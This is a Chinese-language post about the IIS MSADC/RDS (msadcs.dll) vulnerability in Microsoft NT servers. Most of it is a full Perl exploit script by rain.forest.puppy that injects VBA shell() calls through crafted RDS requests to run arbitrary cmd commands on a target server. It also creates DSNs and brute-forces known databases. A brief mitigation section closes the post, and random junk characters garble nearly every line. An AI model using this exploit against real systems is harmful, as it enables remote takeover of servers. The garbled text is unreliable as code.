IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
%&+TbDE+T $"\O;dp7l 涉及程序:
mibpG9+d Microsoft NT server
VYaSB?`/ j)Y[4 ^k^ 描述:
gRAC d&) 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
` H
XEZ| ]GX \|1L 详细:
ZB[k{Y 如果你没有时间读详细内容的话,就删除:
ong""K4H c:\Program Files\Common Files\System\Msadc\msadcs.dll
3?.1nGu 有关的安全问题就没有了。
s]H^wrg& xx }GOY.J 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
G 4qy*. fxgU~' 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
\G>ZkgU 关于利用ODBC远程漏洞的描述,请参看:
iY~rne"l O4L#jBa+ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm {U"^UuU] Qf
xH9_ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
d"ZU y!a http://www.microsoft.com/security/bulletins/MS99-025faq.asp )\ZzTS 7?nJ4x1 这里不再论述。
3~Qd)j"< f<<rTE6 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
,%W<O. XV>&F{ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
inAAgW#s} 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
<x0H@?f7 /(?@mnq_
oY=1C} #将下面这段保存为txt文件,然后: "perl -x 文件名"
_w(ln9 (UYF%MA}" #!perl
0 [8=c&F #
aDL*W@1S # MSADC/RDS 'usage' (aka exploit) script
)R?;M #
]]BOk # by rain.forest.puppy
{2
%aCCV #
F[Q!d6 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
(qBvoLkF9N # beta test and find errors!
ys'T~Cs @hif$ use Socket; use Getopt::Std;
LA%bq_>f getopts("e:vd:h:XR", \%args);
VK:8 Nk_y AIRr{Y print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
FT89*C)oD &|Np0R if (!defined $args{h} && !defined $args{R}) {
jb[!E^'&> print qq~
`/n M[ Usage: msadc.pl -h <host> { -d <delay> -X -v }
Y<f_`h^r -h <host> = host you want to scan (ip or domain)
iqwkARG" -d <seconds> = delay between calls, default 1 second
Ai"-w" -X = dump Index Server path table, if available
'91".c,3? -v = verbose
F$MX,,4U -e = external dictionary file for step 5
F|+W.9 xW_yLbE Or a -R will resume a command session
<rIz Z'D /6+NU^ ~; exit;}
@|\R}k%( @=Fi7M $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
%ow^dzW if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
p
fT60W[m if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
x\\~SGd if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
$uj(G7_ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
4!#a3=_ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
p$E8Bn%[ }
JiSmi6o if (!defined $args{R}){ $ret = &has_msadc;
qO@@8/l die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
~9\zWRh r0]4=6U print "Please type the NT commandline you want to run (cmd /c assumed):\n"
q|.dez' . "cmd /c ";
}{[mrG $in=<STDIN>; chomp $in;
7KjUW\mN2Z $command="cmd /c " . $in ;
hBU\'.x >\Sr{p5KR if (defined $args{R}) {&load; exit;}
0N:XIGFa ]; Wx print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
o<i,*y88 &try_btcustmr;
fc_2D| z=7|{ G print "\nStep 2: Trying to make our own DSN...";
fJAnKUF) &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
H1EDMhn/ "v-(g9( print "\nStep 3: Trying known DSNs...";
!j:`7PT\ &known_dsn;
^W?Z h8e757z print "\nStep 4: Trying known .mdbs...";
w5=tlb &known_mdb;
PVOx`<ng 3)=c]@N0 if (defined $args{e}){
u3 0s_\ print "\nStep 5: Trying dictionary of DSN names...";
28.~iw &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
tBATZ0nK`Q Gi2$B76< print "Sorry Charley...maybe next time?\n";
zDTv\3rZ4X exit;
xdvh-%A4 3< Od0J ##############################################################################
:4gLjzL bM,1 f/^ sub sendraw { # ripped and modded from whisker
2";SJF'5\ sleep($delay); # it's a DoS on the server! At least on mine...
a2 +~;{?g my ($pstr)=@_;
J% H;%ROx socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
_+l1b"^s1 die("Socket problems\n");
p[AO'
xx if(connect(S,pack "SnA4x8",2,80,$target)){
rQ`i8GF select(S); $|=1;
l^MzN print $pstr; my @in=<S>;
.Dg*\ h select(STDOUT); close(S);
kzn[
=P return @in;
N_pUv } else { die("Can't connect...\n"); }}
Q Fm|-j b</9Ai= ##############################################################################
NB_)ZEmF <^?1uzxH8A sub make_header { # make the HTTP request
@=jWHS my $msadc=<<EOT
cTTW06^ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
3*UR3!Z9
* User-Agent: ACTIVEDATA
LUX*P7*B Host: $ip
!k3e\v| Content-Length: $clen
yifY%!@Xu Connection: Keep-Alive
?p<.Fv8.
uw(NG.4 ADCClientVersion:01.06
&fa5laJb Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
7CXW#H 'B5^P --!ADM!ROX!YOUR!WORLD!
?S$i?\Qh Content-Type: application/x-varg
l:#-d.z# Content-Length: $reqlen
XQ%4L-rhN YKmsQ(q`N EOT
azQ D> ; $msadc=~s/\n/\r\n/g;
ev1 W6B-a return $msadc;}
8mT M$#\ l5xCz=dw ##############################################################################
s~I6SA&i bHLT}x/Gw sub make_req { # make the RDS request
G;NF5`*4mc my ($switch, $p1, $p2)=@_;
dovZ#D@Q my $req=""; my $t1, $t2, $query, $dsn;
gKLyL]kAGz &8.NT~"Gg if ($switch==1){ # this is the btcustmr.mdb query
<@wj7\pQ $query="Select * from Customers where City=" . make_shell();
9,j-Vp!G $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
8to8!( $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
hpTDxh'?$C :cu#V elsif ($switch==2){ # this is general make table query
$$b
9&mTl# $query="create table AZZ (B int, C varchar(10))";
'r1LSht' $dsn="$p1";}
!`1'2BC zDhB{3-Q1{ elsif ($switch==3){ # this is general exploit table query
<f CKUc $query="select * from AZZ where C=" . make_shell();
eW5SFY. $dsn="$p1";}
qd3Q}Lk No]~jnqDM elsif ($switch==4){ # attempt to hork file info from index server
o<IAeH {+ $query="select path from scope()";
(C4fG@n $dsn="Provider=MSIDXS;";}
Lip4)Y [ vAY,E=&XvM elsif ($switch==5){ # bad query
Y!iZW $query="select";
z#BR5jF $dsn="$p1";}
}_=eT] JSh.]j<bJL $t1= make_unicode($query);
WJ<^E"^ $t2= make_unicode($dsn);
(=D&A<YX $req = "\x02\x00\x03\x00";
lj+u@Z<xA $req.= "\x08\x00" . pack ("S1", length($t1));
W>-Et7&2 $req.= "\x00\x00" . $t1 ;
I>L-1o|^ $req.= "\x08\x00" . pack ("S1", length($t2));
4DZ-bt' $req.= "\x00\x00" . $t2 ;
zOg7raIa $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
;7N{^"r return $req;}
AJ#Nenmj R.=}@oPb ##############################################################################
g&/T*L aQ:5d3m0 sub make_shell { # this makes the shell() statement
6aM*:>C" return "'|shell(\"$command\")|'";}
rZ8`sIWQt jZ NOt ##############################################################################
bfo[" PkI:*\R sub make_unicode { # quick little function to convert to unicode
87hq{tTs] my ($in)=@_; my $out;
&0f5:M{P for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
%v20~xW:o return $out;}
9z6XF]A N F)~W# ##############################################################################
dOa%9[ w$JvB5O sub rdo_success { # checks for RDO return success (this is kludge)
Eke5Nb my (@in) = @_; my $base=content_start(@in);
3R+|5Uq8~ if($in[$base]=~/multipart\/mixed/){
2-Y<4'> return 1 if( $in[$base+10]=~/^\x09\x00/ );}
D!7`CH+ return 0;}
8M!:N(a (5]}5W* ##############################################################################
p]3?gK- I? ,>DHUX sub make_dsn { # this makes a DSN for us
I`NjqyTW my @drives=("c","d","e","f");
$D G?M6 print "\nMaking DSN: ";
U&O:
_>~ foreach $drive (@drives) {
e7wSOs print "$drive: ";
sr8cYLm5R my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
]U"94S U:) "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
.W js~0c . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
H;RwO@v $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
!47n[Zs return 0 if $2 eq "404"; # not found/doesn't exist
<[w=TdCPs if($2 eq "200") {
#%DE; foreach $line (@results) {
-Uml_/rd_ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
*}P~P$q% } return 0;}
m *JaXa ;*MLRXq ##############################################################################
UX7t`l2R eJg8,7WC sub verify_exists {
%c4Hse#Y my ($page)=@_;
X&kp;W my @results=sendraw("GET $page HTTP/1.0\n\n");
Kr)a2rZ}SL return $results[0];}
1I:+MBGin ;^Dpl'v%\ ##############################################################################
eA<0$Gs,h h$2</J" sub try_btcustmr {
0Vx.nUQ my @drives=("c","d","e","f");
a\r\PBi my @dirs=("winnt","winnt35","winnt351","win","windows");
!r<pmr3f@7 =E.wv
foreach $dir (@dirs) {
@;"|@!l| print "$dir -> "; # fun status so you can see progress
E>K!Vrh-L foreach $drive (@drives) {
z<Nfm print "$drive: "; # ditto
7
qS""f7 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
-fDnA4; $reqlenlen=length( "$reqlen" );
hIT+gnhh $clen= 206 + $reqlenlen + $reqlen;
>7 ="8 &q9T9AOS my @results=sendraw(make_header() . make_req(1,$drive,$dir));
v/ _ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
c
Vc- else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
r]6C |:gf lseE ##############################################################################
OGl}-kw m;,N)<~ sub odbc_error {
+U3DG$ my (@in)=@_; my $base;
hv?9*tLh0 my $base = content_start(@in);
'tH_p if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
s%W C/ZK $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,y#Kv|R $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;=MU';o $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
K|epPGRr return $in[$base+4].$in[$base+5].$in[$base+6];}
|!4K!_y print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
1eF3` print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
.6Pw|xu`Pw $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
d$1@4r ,5h)x"s ##############################################################################
I`!<9OTBj DW[N|-L sub verbose {
Vh4X%b$TV my ($in)=@_;
BI%$c~wS return if !$verbose;
H:V2[y8\ print STDOUT "\n$in\n";}
*_d7E X9V *UXTc ##############################################################################
;>Ib^ov [MUpxOAsd sub save {
uI )6M my ($p1, $p2, $p3, $p4)=@_;
) AvN\sC open(OUT, ">rds.save") || print "Problem saving parameters...\n";
?Wlb3; print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
,
K~}\CR close OUT;}
{ttysQ- te-jfmu2 ##############################################################################
?82xdpg 7fZDsj: sub load {
Wi)_H$KII my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
9dx/hFA open(IN,"<rds.save") || die("Couldn't open rds.save\n");
<eWf< @p=<IN>; close(IN);
ZbdZrE$ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
vbZ}Z3f_ $target= inet_aton($ip) || die("inet_aton problems");
b0Ps5G\ u print "Resuming to $ip ...";
#cI{Fe0h $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
3EPv"f^V if($p[1]==1) {
]>5/PD,wWy $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
5Odhb $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
vg32y /l]S my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
rC^WPW if (rdo_success(@results)){print "Success!\n";}
Po^?QVJ7 else { print "failed\n"; verbose(odbc_error(@results));}}
zBzZxK>$ elsif ($p[1]==3){
W')Yg5T if(run_query("$p[3]")){
V Y7[) print "Success!\n";} else { print "failed\n"; }}
wfLaRP elsif ($p[1]==4){
0x@6^%^\ if(run_query($drvst . "$p[3]")){
*Q
"wwpl? print "Success!\n"; } else { print "failed\n"; }}
Mh]Gw(?w exit;}
-lY6|79bF 4O^xY
6m ##############################################################################
*RJG!t*t qm/22:&v5 sub create_table {
.1Dg s=| my ($in)=@_;
) vE~'W $reqlen=length( make_req(2,$in,"") ) - 28;
t.i 8
2Q $reqlenlen=length( "$reqlen" );
;DfY#- $clen= 206 + $reqlenlen + $reqlen;
_@
qjV~%Sy my @results=sendraw(make_header() . make_req(2,$in,""));
286jI7 T return 1 if rdo_success(@results);
pmyXLT my $temp= odbc_error(@results); verbose($temp);
L>Fa^jq5 return 1 if $temp=~/Table 'AZZ' already exists/;
w;4<h8Wn5 return 0;}
4V)kx[j #lL^?|M ##############################################################################
,/Z%@-rF ;n*.W|Uph sub known_dsn {
Yi%;|] # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
ymhtX6] my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
qN9(S:_Px "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Kqb#_hm "banner", "banners", "ads", "ADCDemo", "ADCTest");
/
*#r`A -
M4JJV( foreach $dSn (@dsns) {
dO!
kk"qn print ".";
T $ >&[f$6 next if (!is_access("DSN=$dSn"));
*av<E if(create_table("DSN=$dSn")){
bN1|q|9 print "$dSn successful\n";
%K=?@M9i if(run_query("DSN=$dSn")){
<lPm1/8 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
*v !9MU9[( print "Something's borked. Use verbose next time\n";}}} print "\n";}
BYL)nCc /T0F"e)Ci ##############################################################################
1Y\DJ@lh ) j#`r/ sub is_access {
FpmM63$VN[ my ($in)=@_;
2*;~S44 $reqlen=length( make_req(5,$in,"") ) - 28;
*v^Jb/E315 $reqlenlen=length( "$reqlen" );
9<6;Hr,>G $clen= 206 + $reqlenlen + $reqlen;
P64PPbP my @results=sendraw(make_header() . make_req(5,$in,""));
_Xe>V0 my $temp= odbc_error(@results);
un mJbY;t verbose($temp); return 1 if ($temp=~/Microsoft Access/);
O:;w3u7;u return 0;}
c_$=-Khk -P$PAg5"2 ##############################################################################
@<hb6bo,N -A^ _{4X sub run_query {
+SR+gE\s0 my ($in)=@_;
P^~yzI $reqlen=length( make_req(3,$in,"") ) - 28;
_7Ju $reqlenlen=length( "$reqlen" );
4yy>jXDG $clen= 206 + $reqlenlen + $reqlen;
dd %6t my @results=sendraw(make_header() . make_req(3,$in,""));
P9^Xm6QO return 1 if rdo_success(@results);
q$d>(vbq my $temp= odbc_error(@results); verbose($temp);
JzQ_{J`k return 0;}
6,8h]?u. )4 e.k$X^ ##############################################################################
vtg!8u4 x}Eg.S sub known_mdb {
{T$9?`h~M my @drives=("c","d","e","f","g");
Cgk<pky1 my @dirs=("winnt","winnt35","winnt351","win","windows");
y@S$^jk. my $dir, $drive, $mdb;
U`(ee*}o my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
k_#ak%m/ t%0VJB,Q2 # this is sparse, because I don't know of many
yW=::= my @sysmdbs=( "\\catroot\\icatalog.mdb",
y&$A+peJ1 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
NZ:,ph "\\system32\\certmdb.mdb",
Y.(PiuG$G "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
%v
M-mbX x)DMPVB< my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
{BN#h[#B{ "\\cfusion\\cfapps\\forums\\forums_.mdb",
g*AWE,%=| "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
*aM=Z+ "\\cfusion\\cfapps\\security\\realm_.mdb",
,q`\\d "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Xx~Bp+ "\\cfusion\\database\\cfexamples.mdb",
O m|_{ "\\cfusion\\database\\cfsnippets.mdb",
;WQve_\ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
m e$Z~/Akm "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
AlaW=leTe "\\cfusion\\brighttiger\\database\\cleam.mdb",
5{X<y#vAC0 "\\cfusion\\database\\smpolicy.mdb",
{UI+$/v# "\\cfusion\\database\cypress.mdb",
y%cP1y) "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
hE D}h![ "\\website\\cgi-win\\dbsample.mdb",
Qz1E 2yJ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
vm8eZG| "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
?(1y ); #these are just
rH Lm\3 foreach $drive (@drives) {
&jJL"gq" foreach $dir (@dirs){
6Pl<'3& foreach $mdb (@sysmdbs) {
F0TB<1 print ".";
AO4U}? if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
1v27;Q<+Q print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
k(nW#*N_ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
`Y$4 H,8L print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
l_d5oAh
} else { print "Something's borked. Use verbose next time\n"; }}}}}
_
]ipajT D#C~pdp foreach $drive (@drives) {
$bR~+C foreach $mdb (@mdbs) {
eu-*?]&Di print ".";
0Th&iA4 if(create_table($drv . $drive . $dir . $mdb)){
%YscBG print "\n" . $drive . $dir . $mdb . " successful\n";
-`h)$&, if(run_query($drv . $drive . $dir . $mdb)){
)qw&%sO + print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
CY5Z{qiX } else { print "Something's borked. Use verbose next time\n"; }}}}
)mT<MkP }
S9y} v@L;x [Q ##############################################################################
K($Npuu] 6<QQ@5_ sub hork_idx {
$qnZl'O> print "\nAttempting to dump Index Server tables...\n";
QA`sx print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
aeJHMHFc $reqlen=length( make_req(4,"","") ) - 28;
YK'<NE3 4 $reqlenlen=length( "$reqlen" );
z>Y-fN`, $clen= 206 + $reqlenlen + $reqlen;
BX7kO0j my @results=sendraw2(make_header() . make_req(4,"",""));
Cl7xt}I if (rdo_success(@results)){
kgP0x-Ap my $max=@results; my $c; my %d;
+'HqgSPyb for($c=19; $c<$max; $c++){
cF}".4|kZ< $results[$c]=~s/\x00//g;
K+3=tk]W9u $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
F^;ez/Gl $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
V b ?oJhR $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
X.{S*E:$u $d{"$1$2"}="";}
\ ~$#1D1f foreach $c (keys %d){ print "$c\n"; }
:4/3q|cn } else {print "Index server doesn't seem to be installed.\n"; }}
&j"?\f? g}cq K ##############################################################################
oD.Cs' #q=Efn' sub dsn_dict {
583|blL open(IN, "<$args{e}") || die("Can't open external dictionary\n");
'-~~-}= sJ while(<IN>){
1>h]{%I $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
u&7[n_ next if (!is_access("DSN=$dSn"));
zRr*7G if(create_table("DSN=$dSn")){
VY4yS*y print "$dSn successful\n";
sDlO# if(run_query("DSN=$dSn")){
aEeodA<( print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Z@!+v19^ print "Something's borked. Use verbose next time\n";}}}
mz0X3 print "\n"; close(IN);}
hRhe& ,v YN F k ##############################################################################
<PH#[dH 5U$0F$BBp sub sendraw2 { # ripped and modded from whisker
`M8i92V\qY sleep($delay); # it's a DoS on the server! At least on mine...
^u ~Q/4 my ($pstr)=@_;
"+G8d'%YV socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
9WyhZoPD* die("Socket problems\n");
!Wnb|=j if(connect(S,pack "SnA4x8",2,80,$target)){
&Ok):` print "Connected. Getting data";
oap4rHk} open(OUT,">raw.out"); my @in;
`d}2O%P select(S); $|=1; print $pstr;
ukyZes8o K while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
/*mI<[xb close(OUT); select(STDOUT); close(S); return @in;
'~=SzO } else { die("Can't connect...\n"); }}
zQd
2 )+DmOsH ##############################################################################
8{sGNCvU x7[BK_SY sub content_start { # this will take in the server headers
#@Jq~$N| my (@in)=@_; my $c;
Ad_hKO for ($c=1;$c<500;$c++) {
%Q|Atgp if($in[$c] =~/^\x0d\x0a/){
zK@@p+n_#. if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
37o;; else { return $c+1; }}}
"^%cJAnLX return -1;} # it should never get here actually
jNk%OrP] 2BwO!Y[ ##############################################################################
0 @oJFJrO
|CRn c: sub funky {
*$g-:ILRuZ my (@in)=@_; my $error=odbc_error(@in);
vr=#3> if($error=~/ADO could not find the specified provider/){
+CNv l print "\nServer returned an ADO miscofiguration message\nAborting.\n";
( a#BV}= exit;}
wFZP,fQ9l if($error=~/A Handler is required/){
&tj!*k' print "\nServer has custom handler filters (they most likely are patched)\n";
4.t-i5 exit;}
^ [@, if($error=~/specified Handler has denied Access/){
/%^#8<=|U print "\nServer has custom handler filters (they most likely are patched)\n";
4Fr
exit;}}
N~'c_l >z@0.pN]7 ##############################################################################
c\j/k[\< PEZ!n.'S sub has_msadc {
=UWI9M*sz my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
|yPu!pfl my $base=content_start(@results);
61U09s%\0 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
pEA:L$& return 0;}
F:S}w =t?F6)Q ########################
O:K2Y5R?B Y.p;1" LKDO2N 解决方案:
_H@DLhH|= 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
.7X^YKR 2、移除web 目录: /msadc